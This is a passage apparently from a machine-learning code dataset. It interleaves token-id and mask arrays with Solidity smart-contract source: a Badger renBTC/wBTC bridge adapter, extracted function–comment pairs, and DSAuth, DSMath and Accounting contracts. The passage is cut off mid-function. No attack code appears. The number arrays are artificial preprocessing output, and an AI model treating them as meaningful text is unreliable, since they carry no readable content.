8526,
324,
26488,
16,
203,
3639,
2254,
5034,
327,
6275,
16,
203,
3639,
2254,
5034,
20501,
4436,
38,
321,
203,
565,
11272,
203,
565,
871,
3423,
9446,
12,
2867,
8808,
358,
16,
2254,
5034,
3844,
1769,
203,
203,
565,
445,
4046,
12,
203,
203,
16351,
22901,
353,
203,
565,
262,
1071,
2
]
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.8;
pragma experimental ABIEncoderV2;
import "deps/@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "deps/@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
import "deps/@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol";
import "deps/@openzeppelin/contracts-upgradeable/math/SafeMathUpgradeable.sol";
import "deps/@openzeppelin/contracts-upgradeable/utils/ReentrancyGuardUpgradeable.sol";
import "interfaces/badger/ISwapStrategyRouter.sol";
import "interfaces/bridge/IGateway.sol";
import "interfaces/bridge/IBridgeVault.sol";
import "interfaces/bridge/ICurveTokenWrapper.sol";
import "interfaces/curve/ICurveFi.sol";
contract BadgerBridgeAdapter is OwnableUpgradeable, ReentrancyGuardUpgradeable {
using SafeMathUpgradeable for uint256;
using SafeERC20 for IERC20;
IERC20 public renBTC;
IERC20 public wBTC;
// RenVM gateway registry.
IGatewayRegistry public registry;
// Swap router that handles swap routing optimizations.
ISwapStrategyRouter public router;
event RecoverStuck(uint256 amount, uint256 fee);
event Mint(uint256 renbtc_minted, uint256 wbtc_swapped, uint256 fee);
event Burn(uint256 renbtc_burned, uint256 wbtc_transferred, uint256 fee);
event SwapError(bytes error);
address public rewards;
address public governance;
uint256 public mintFeeBps;
uint256 public burnFeeBps;
uint256 private percentageFeeRewardsBps;
uint256 private percentageFeeGovernanceBps;
uint256 public constant MAX_BPS = 10000;
mapping(address => bool) public approvedVaults;
// Configurable permissionless curve lp token wrapper.
address curveTokenWrapper;
// Make struct for mint args, otherwise too many local vars (stack too deep).
struct MintArguments {
uint256 _mintAmount;
uint256 _mintAmountMinusFee;
uint256 _fee;
uint256 _slippage;
address _vault;
address _user;
address _token;
}
function initialize(
address _governance,
address _rewards,
address _registry,
address _router,
address _wbtc,
uint256[4] memory _feeConfig
) public initializer {
__Ownable_init();
__ReentrancyGuard_init();
require(_governance != address(0x0), "must set governance address");
require(_rewards != address(0x0), "must set rewards address");
require(_registry != address(0x0), "must set registry address");
require(_router != address(0x0), "must set router address");
require(_wbtc != address(0x0), "must set wBTC address");
governance = _governance;
rewards = _rewards;
registry = IGatewayRegistry(_registry);
router = ISwapStrategyRouter(_router);
renBTC = registry.getTokenBySymbol("BTC");
wBTC = IERC20(_wbtc);
mintFeeBps = _feeConfig[0];
burnFeeBps = _feeConfig[1];
percentageFeeRewardsBps = _feeConfig[2];
percentageFeeGovernanceBps = _feeConfig[3];
}
function version() external pure returns (string memory) {
return "1.1";
}
// NB: This recovery fn only works for the BTC gateway (hardcoded and only one supported in this adapter).
function recoverStuck(
// encoded user args
bytes calldata encoded,
// darkdnode args
uint256 _amount,
bytes32 _nHash,
bytes calldata _sig
) external nonReentrant {
// Ensure sender matches sender of original tx.
uint256 start = encoded.length - 32;
address sender = abi.decode(encoded[start:], (address));
require(sender == msg.sender);
bytes32 pHash = keccak256(encoded);
uint256 _mintAmount = registry.getGatewayBySymbol("BTC").mint(pHash, _amount, _nHash, _sig);
uint256 _fee = _processFee(renBTC, _mintAmount, mintFeeBps);
emit RecoverStuck(_mintAmount, _fee);
renBTC.safeTransfer(msg.sender, _mintAmount.sub(_fee));
}
function mint(
// user args
address _token, // either renBTC or wBTC
uint256 _slippage,
address _user,
address _vault,
// darknode args
uint256 _amount,
bytes32 _nHash,
bytes calldata _sig
) external nonReentrant {
require(_token == address(renBTC) || _token == address(wBTC), "invalid token address");
// Mint renBTC tokens
bytes32 pHash = keccak256(abi.encode(_token, _slippage, _user, _vault));
uint256 mintAmount = registry.getGatewayBySymbol("BTC").mint(pHash, _amount, _nHash, _sig);
require(mintAmount > 0, "zero mint amount");
uint256 fee = _processFee(renBTC, mintAmount, mintFeeBps);
uint256 mintAmountMinusFee = mintAmount.sub(fee);
MintArguments memory args = MintArguments(mintAmount, mintAmountMinusFee, fee, _slippage, _vault, _user, _token);
bool success = mintAdapter(args);
if (!success) {
renBTC.safeTransfer(_user, mintAmountMinusFee);
}
}
function burn(
// user args
address _token, // either renBTC or wBTC
address _vault,
uint256 _slippage,
bytes calldata _btcDestination,
uint256 _amount
) external nonReentrant {
require(_token == address(renBTC) || _token == address(wBTC), "invalid token address");
require(!(_vault != address(0) && !approvedVaults[_vault]), "Vault not approved");
bool isVault = _vault != address(0);
bool isRenBTC = _token == address(renBTC);
IERC20 token = isRenBTC ? renBTC : wBTC;
uint256 startBalanceRenBTC = renBTC.balanceOf(address(this));
uint256 startBalanceWBTC = wBTC.balanceOf(address(this));
// Vaults can require up to two levels of unwrapping.
if (isVault) {
// First level of unwrapping for sett tokens.
IERC20(_vault).safeTransferFrom(msg.sender, address(this), _amount);
IERC20 vaultToken = IBridgeVault(_vault).token();
uint256 beforeBalance = vaultToken.balanceOf(address(this));
IBridgeVault(_vault).withdraw(IERC20(_vault).balanceOf(address(this)));
uint256 balance = vaultToken.balanceOf(address(this)).sub(beforeBalance);
// If the vault token does not match requested burn token, then we need to further unwrap
// vault token (e.g. withdrawing from crv sett gets us crv lp tokens which need to be unwrapped to renbtc).
if (address(vaultToken) != _token) {
vaultToken.safeTransfer(curveTokenWrapper, balance);
ICurveTokenWrapper(curveTokenWrapper).unwrap(_vault);
}
} else {
token.safeTransferFrom(msg.sender, address(this), _amount);
}
uint256 wbtcTransferred = wBTC.balanceOf(address(this)).sub(startBalanceWBTC);
if (!isRenBTC) {
_swapWBTCForRenBTC(wbtcTransferred, _slippage);
}
uint256 toBurnAmount = renBTC.balanceOf(address(this)).sub(startBalanceRenBTC);
uint256 fee = _processFee(renBTC, toBurnAmount, burnFeeBps);
uint256 burnAmount = registry.getGatewayBySymbol("BTC").burn(_btcDestination, toBurnAmount.sub(fee));
emit Burn(burnAmount, wbtcTransferred, fee);
}
function mintAdapter(MintArguments memory args) internal returns (bool) {
if (args._vault != address(0) && !approvedVaults[args._vault]) {
return false;
}
uint256 wbtcExchanged;
bool isVault = args._vault != address(0);
bool isRenBTC = args._token == address(renBTC);
IERC20 token = isRenBTC ? renBTC : wBTC;
if (!isRenBTC) {
// Try and swap and transfer wbtc if token wbtc specified.
uint256 startBalance = token.balanceOf(address(this));
if (!_swapRenBTCForWBTC(args._mintAmountMinusFee, args._slippage)) {
return false;
}
uint256 endBalance = token.balanceOf(address(this));
wbtcExchanged = endBalance.sub(startBalance);
}
emit Mint(args._mintAmount, wbtcExchanged, args._fee);
uint256 amount = isRenBTC ? args._mintAmountMinusFee : wbtcExchanged;
if (!isVault) {
token.safeTransfer(args._user, amount);
return true;
}
// If the token is wBTC then we just approve spend and deposit directly into the wbtc vault.
if (args._token == address(wBTC)) {
token.safeApprove(args._vault, token.balanceOf(address(this)));
} else {
// Otherwise, we need to wrap the token before depositing into vault.
// We currently only support wrapping renbtc into curve lp tokens.
// NB: The curve token wrapper contract is permissionless, we must transfer renbtc over
// and it will transfer back wrapped lp tokens.
token.safeTransfer(curveTokenWrapper, amount);
amount = ICurveTokenWrapper(curveTokenWrapper).wrap(args._vault);
IBridgeVault(args._vault).token().safeApprove(args._vault, amount);
}
IBridgeVault(args._vault).depositFor(args._user, amount);
return true;
}
function _swapWBTCForRenBTC(uint256 _amount, uint256 _slippage) internal {
(address strategy, uint256 estimatedAmount) = router.optimizeSwap(address(wBTC), address(renBTC), _amount);
uint256 minAmount = _minAmount(_slippage, _amount);
require(estimatedAmount > minAmount, "slippage too high");
// Approve strategy for spending of wbtc.
wBTC.safeApprove(strategy, _amount);
uint256 amount = ISwapStrategy(strategy).swapTokens(address(wBTC), address(renBTC), _amount, _slippage);
require(amount > minAmount, "swapped amount less than min amount");
}
// Avoid reverting on mint (renBTC -> wBTC swap) since we cannot roll back that transaction.:
function _swapRenBTCForWBTC(uint256 _amount, uint256 _slippage) internal returns (bool) {
(address strategy, uint256 estimatedAmount) = router.optimizeSwap(address(renBTC), address(wBTC), _amount);
uint256 minAmount = _minAmount(_slippage, _amount);
if (minAmount > estimatedAmount) {
// Do not swap if slippage is too high;
return false;
}
// Approve strategy for spending of renbtc.
renBTC.safeApprove(strategy, _amount);
try ISwapStrategy(strategy).swapTokens(address(renBTC), address(wBTC), _amount, _slippage) {
return true;
} catch (bytes memory _error) {
emit SwapError(_error);
return false;
}
}
// Minimum amount w/ slippage applied.
function _minAmount(uint256 _slippage, uint256 _amount) internal pure returns (uint256) {
_slippage = uint256(1e4).sub(_slippage);
return _amount.mul(_slippage).div(1e4);
}
function _processFee(
IERC20 token,
uint256 amount,
uint256 feeBps
) internal returns (uint256) {
if (feeBps == 0) {
return 0;
}
uint256 fee = amount.mul(feeBps).div(MAX_BPS);
uint256 governanceFee = fee.mul(percentageFeeGovernanceBps).div(MAX_BPS);
uint256 rewardsFee = fee.mul(percentageFeeRewardsBps).div(MAX_BPS);
IERC20(token).safeTransfer(governance, governanceFee);
IERC20(token).safeTransfer(rewards, rewardsFee);
return fee;
}
// Admin methods.
function setMintFeeBps(uint256 _mintFeeBps) external onlyOwner {
require(_mintFeeBps <= MAX_BPS, "badger-bridge-adapter/excessive-mint-fee");
mintFeeBps = _mintFeeBps;
}
function setBurnFeeBps(uint256 _burnFeeBps) external onlyOwner {
require(_burnFeeBps <= MAX_BPS, "badger-bridge-adapter/excessive-burn-fee");
burnFeeBps = _burnFeeBps;
}
function setPercentageFeeGovernanceBps(uint256 _percentageFeeGovernanceBps) external onlyOwner {
require(_percentageFeeGovernanceBps + percentageFeeRewardsBps <= MAX_BPS, "badger-bridge-adapter/excessive-percentage-fee-governance");
percentageFeeGovernanceBps = _percentageFeeGovernanceBps;
}
function setPercentageFeeRewardsBps(uint256 _percentageFeeRewardsBps) external onlyOwner {
require(_percentageFeeRewardsBps + percentageFeeGovernanceBps <= MAX_BPS, "badger-bridge-adapter/excessive-percentage-fee-rewards");
percentageFeeRewardsBps = _percentageFeeRewardsBps;
}
function setRewards(address _rewards) external onlyOwner {
rewards = _rewards;
}
function setRouter(address _router) external onlyOwner {
router = ISwapStrategyRouter(_router);
}
function setRegistry(address _registry) external onlyOwner {
registry = IGatewayRegistry(_registry);
renBTC = registry.getTokenBySymbol("BTC");
}
function setVaultApproval(address _vault, bool _status) external onlyOwner {
approvedVaults[_vault] = _status;
}
function setCurveTokenWrapper(address _wrapper) external onlyOwner {
curveTokenWrapper = _wrapper;
}
// Sweep all tokens and send to governance.
function sweep() external {
require(msg.sender == governance && msg.sender == tx.origin, "caller must be governance");
// NB: Sanity check but governance should have been set on init and cannot be modified.
require(governance != address(0x0), "must set governance address");
address[] memory sweepableTokens = new address[](2);
sweepableTokens[0] = address(renBTC);
sweepableTokens[1] = address(wBTC);
for (uint256 i = 0; i < 2; i++) {
IERC20 token = IERC20(sweepableTokens[i]);
uint256 balance = token.balanceOf(address(this));
if (balance > 0) {
token.safeTransfer(governance, balance);
}
}
}
}
| user args darknode args Mint renBTC tokens | function mint(
uint256 _slippage,
address _user,
address _vault,
uint256 _amount,
bytes32 _nHash,
bytes calldata _sig
) external nonReentrant {
require(_token == address(renBTC) || _token == address(wBTC), "invalid token address");
bytes32 pHash = keccak256(abi.encode(_token, _slippage, _user, _vault));
uint256 mintAmount = registry.getGatewayBySymbol("BTC").mint(pHash, _amount, _nHash, _sig);
require(mintAmount > 0, "zero mint amount");
uint256 fee = _processFee(renBTC, mintAmount, mintFeeBps);
uint256 mintAmountMinusFee = mintAmount.sub(fee);
MintArguments memory args = MintArguments(mintAmount, mintAmountMinusFee, fee, _slippage, _vault, _user, _token);
bool success = mintAdapter(args);
if (!success) {
renBTC.safeTransfer(_user, mintAmountMinusFee);
}
}
| 13,015,327 | [
1,
1355,
833,
23433,
2159,
833,
490,
474,
1654,
38,
15988,
2430,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
312,
474,
12,
203,
3639,
2254,
5034,
389,
87,
3169,
2433,
16,
203,
3639,
1758,
389,
1355,
16,
203,
3639,
1758,
389,
26983,
16,
203,
3639,
2254,
5034,
389,
8949,
16,
203,
3639,
1731,
1578,
389,
82,
2310,
16,
203,
3639,
1731,
745,
892,
389,
7340,
203,
565,
262,
3903,
1661,
426,
8230,
970,
288,
203,
3639,
2583,
24899,
2316,
422,
1758,
12,
1187,
38,
15988,
13,
747,
389,
2316,
422,
1758,
12,
91,
38,
15988,
3631,
315,
5387,
1147,
1758,
8863,
203,
203,
3639,
1731,
1578,
293,
2310,
273,
417,
24410,
581,
5034,
12,
21457,
18,
3015,
24899,
2316,
16,
389,
87,
3169,
2433,
16,
389,
1355,
16,
389,
26983,
10019,
203,
3639,
2254,
5034,
312,
474,
6275,
273,
4023,
18,
588,
5197,
858,
5335,
2932,
38,
15988,
20387,
81,
474,
12,
84,
2310,
16,
389,
8949,
16,
389,
82,
2310,
16,
389,
7340,
1769,
203,
203,
3639,
2583,
12,
81,
474,
6275,
405,
374,
16,
315,
7124,
312,
474,
3844,
8863,
203,
203,
3639,
2254,
5034,
14036,
273,
389,
2567,
14667,
12,
1187,
38,
15988,
16,
312,
474,
6275,
16,
312,
474,
14667,
38,
1121,
1769,
203,
3639,
2254,
5034,
312,
474,
6275,
18434,
14667,
273,
312,
474,
6275,
18,
1717,
12,
21386,
1769,
203,
203,
3639,
490,
474,
4628,
3778,
833,
273,
490,
474,
4628,
12,
81,
474,
6275,
16,
312,
474,
6275,
18434,
14667,
16,
14036,
16,
389,
87,
3169,
2433,
16,
389,
26983,
16,
389,
1355,
16,
389,
2316,
1769,
203,
3639,
1426,
2216,
273,
312,
474,
2
]
|
./full_match/1/0xB32406113Af87BeAb30f7DD0356A8F449f45EAdA/sources/BlockBongs.sol | 42 team and peer pressure group + 24 promo bongs
| uint256 private _startTokenIdFrom = 66; | 2,909,299 | [
1,
9452,
5927,
471,
4261,
17590,
1041,
397,
4248,
3012,
83,
324,
7260,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
2254,
5034,
3238,
389,
1937,
1345,
548,
1265,
273,
22342,
31,
225,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
./full_match/10/0x51E9002696A137D0a4Ea67534D4eC8d6D6ae16D5/sources/batch.sol | @dev Provides information about the current execution context, including the sender of the transaction and its data. While these are generally available via msg.sender and msg.data, they should not be accessed in such a direct manner, since when dealing with GSN meta-transactions the account sending and paying for execution may not be the actual sender (as far as an application is concerned). This contract is only required for intermediate, library-like contracts./ | abstract contract Context {
pragma solidity ^0.6.0;
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
| 3,778,636 | [
1,
17727,
1779,
2973,
326,
783,
4588,
819,
16,
6508,
326,
5793,
434,
326,
2492,
471,
2097,
501,
18,
21572,
4259,
854,
19190,
2319,
3970,
1234,
18,
15330,
471,
1234,
18,
892,
16,
2898,
1410,
486,
506,
15539,
316,
4123,
279,
2657,
21296,
16,
3241,
1347,
21964,
598,
611,
13653,
2191,
17,
20376,
326,
2236,
5431,
471,
8843,
310,
364,
4588,
2026,
486,
506,
326,
3214,
5793,
261,
345,
10247,
487,
392,
2521,
353,
356,
2750,
11748,
2934,
1220,
6835,
353,
1338,
1931,
364,
12110,
16,
5313,
17,
5625,
20092,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
17801,
6835,
1772,
288,
203,
683,
9454,
18035,
560,
3602,
20,
18,
26,
18,
20,
31,
203,
565,
445,
389,
3576,
12021,
1435,
2713,
1476,
5024,
1135,
261,
2867,
8843,
429,
13,
288,
203,
3639,
327,
1234,
18,
15330,
31,
203,
565,
289,
203,
203,
565,
445,
389,
3576,
751,
1435,
2713,
1476,
5024,
1135,
261,
3890,
3778,
13,
288,
203,
3639,
333,
31,
203,
3639,
327,
1234,
18,
892,
31,
203,
565,
289,
203,
97,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
pragma solidity^0.4.24;
contract DSAuthority {
function canCall(
address src, address dst, bytes4 sig
) public view returns (bool);
}
contract DSAuthEvents {
event LogSetAuthority (address indexed authority);
event LogSetOwner (address indexed owner);
}
contract DSAuth is DSAuthEvents {
DSAuthority public authority;
address public owner;
function DSAuth() public {
owner = msg.sender;
emit LogSetOwner(msg.sender);
}
function setOwner(address owner_)
public
auth
{
owner = owner_;
emit LogSetOwner(owner);
}
function setAuthority(DSAuthority authority_)
public
auth
{
authority = authority_;
emit LogSetAuthority(authority);
}
modifier auth {
require(isAuthorized(msg.sender, msg.sig));
_;
}
function isAuthorized(address src, bytes4 sig) internal view returns (bool) {
if (src == address(this)) {
return true;
} else if (src == owner) {
return true;
} else if (authority == DSAuthority(0)) {
return false;
} else {
return authority.canCall(src, this, sig);
}
}
}
library DSMath {
function add(uint x, uint y) internal pure returns (uint z) {
require((z = x + y) >= x);
}
function sub(uint x, uint y) internal pure returns (uint z) {
require((z = x - y) <= x);
}
function mul(uint x, uint y) internal pure returns (uint z) {
require(y == 0 || (z = x * y) / y == x);
}
function min(uint x, uint y) internal pure returns (uint z) {
return x <= y ? x : y;
}
function max(uint x, uint y) internal pure returns (uint z) {
return x >= y ? x : y;
}
function imin(int x, int y) internal pure returns (int z) {
return x <= y ? x : y;
}
function imax(int x, int y) internal pure returns (int z) {
return x >= y ? x : y;
}
uint constant WAD = 10 ** 18;
uint constant RAY = 10 ** 27;
function wmul(uint x, uint y) internal pure returns (uint z) {
z = add(mul(x, y), WAD / 2) / WAD;
}
function rmul(uint x, uint y) internal pure returns (uint z) {
z = add(mul(x, y), RAY / 2) / RAY;
}
function wdiv(uint x, uint y) internal pure returns (uint z) {
z = add(mul(x, WAD), y / 2) / y;
}
function rdiv(uint x, uint y) internal pure returns (uint z) {
z = add(mul(x, RAY), y / 2) / y;
}
// This famous algorithm is called "exponentiation by squaring"
// and calculates x^n with x as fixed-point and n as regular unsigned.
//
// It's O(log n), instead of O(n) for naive repeated multiplication.
//
// These facts are why it works:
//
// If n is even, then x^n = (x^2)^(n/2).
// If n is odd, then x^n = x * x^(n-1),
// and applying the equation for even x gives
// x^n = x * (x^2)^((n-1) / 2).
//
// Also, EVM division is flooring and
// floor[(n-1) / 2] = floor[n / 2].
//
function rpow(uint x, uint n) internal pure returns (uint z) {
z = n % 2 != 0 ? x : RAY;
for (n /= 2; n != 0; n /= 2) {
x = rmul(x, x);
if (n % 2 != 0) {
z = rmul(z, x);
}
}
}
}
interface ERC20 {
function balanceOf(address src) external view returns (uint);
function totalSupply() external view returns (uint);
function allowance(address tokenOwner, address spender) external constant returns (uint remaining);
function transfer(address to, uint tokens) external returns (bool success);
function approve(address spender, uint tokens) external returns (bool success);
function transferFrom(address from, address to, uint tokens) external returns (bool success);
}
contract Accounting {
using DSMath for uint;
bool internal _in;
modifier noReentrance() {
require(!_in);
_in = true;
_;
_in = false;
}
//keeping track of total ETH and token balances
uint public totalETH;
mapping (address => uint) public totalTokenBalances;
struct Account {
bytes32 name;
uint balanceETH;
mapping (address => uint) tokenBalances;
}
Account base = Account({
name: "Base",
balanceETH: 0
});
event ETHDeposited(bytes32 indexed account, address indexed from, uint value);
event ETHSent(bytes32 indexed account, address indexed to, uint value);
event ETHTransferred(bytes32 indexed fromAccount, bytes32 indexed toAccount, uint value);
event TokenTransferred(bytes32 indexed fromAccount, bytes32 indexed toAccount, address indexed token, uint value);
event TokenDeposited(bytes32 indexed account, address indexed token, address indexed from, uint value);
event TokenSent(bytes32 indexed account, address indexed token, address indexed to, uint value);
function baseETHBalance() public constant returns(uint) {
return base.balanceETH;
}
function baseTokenBalance(address token) public constant returns(uint) {
return base.tokenBalances[token];
}
function depositETH(Account storage a, address _from, uint _value) internal {
a.balanceETH = a.balanceETH.add(_value);
totalETH = totalETH.add(_value);
emit ETHDeposited(a.name, _from, _value);
}
function depositToken(Account storage a, address _token, address _from, uint _value)
internal noReentrance
{
require(ERC20(_token).transferFrom(_from, address(this), _value));
totalTokenBalances[_token] = totalTokenBalances[_token].add(_value);
a.tokenBalances[_token] = a.tokenBalances[_token].add(_value);
emit TokenDeposited(a.name, _token, _from, _value);
}
function sendETH(Account storage a, address _to, uint _value)
internal noReentrance
{
require(a.balanceETH >= _value);
require(_to != address(0));
a.balanceETH = a.balanceETH.sub(_value);
totalETH = totalETH.sub(_value);
_to.transfer(_value);
emit ETHSent(a.name, _to, _value);
}
function transact(Account storage a, address _to, uint _value, bytes data)
internal noReentrance
{
require(a.balanceETH >= _value);
require(_to != address(0));
a.balanceETH = a.balanceETH.sub(_value);
totalETH = totalETH.sub(_value);
require(_to.call.value(_value)(data));
emit ETHSent(a.name, _to, _value);
}
function sendToken(Account storage a, address _token, address _to, uint _value)
internal noReentrance
{
require(a.tokenBalances[_token] >= _value);
require(_to != address(0));
a.tokenBalances[_token] = a.tokenBalances[_token].sub(_value);
totalTokenBalances[_token] = totalTokenBalances[_token].sub(_value);
require(ERC20(_token).transfer(_to, _value));
emit TokenSent(a.name, _token, _to, _value);
}
function transferETH(Account storage _from, Account storage _to, uint _value)
internal
{
require(_from.balanceETH >= _value);
_from.balanceETH = _from.balanceETH.sub(_value);
_to.balanceETH = _to.balanceETH.add(_value);
emit ETHTransferred(_from.name, _to.name, _value);
}
function transferToken(Account storage _from, Account storage _to, address _token, uint _value)
internal
{
require(_from.tokenBalances[_token] >= _value);
_from.tokenBalances[_token] = _from.tokenBalances[_token].sub(_value);
_to.tokenBalances[_token] = _to.tokenBalances[_token].add(_value);
emit TokenTransferred(_from.name, _to.name, _token, _value);
}
function balanceETH(Account storage toAccount, uint _value) internal {
require(address(this).balance >= totalETH.add(_value));
depositETH(toAccount, address(this), _value);
}
function balanceToken(Account storage toAccount, address _token, uint _value) internal noReentrance {
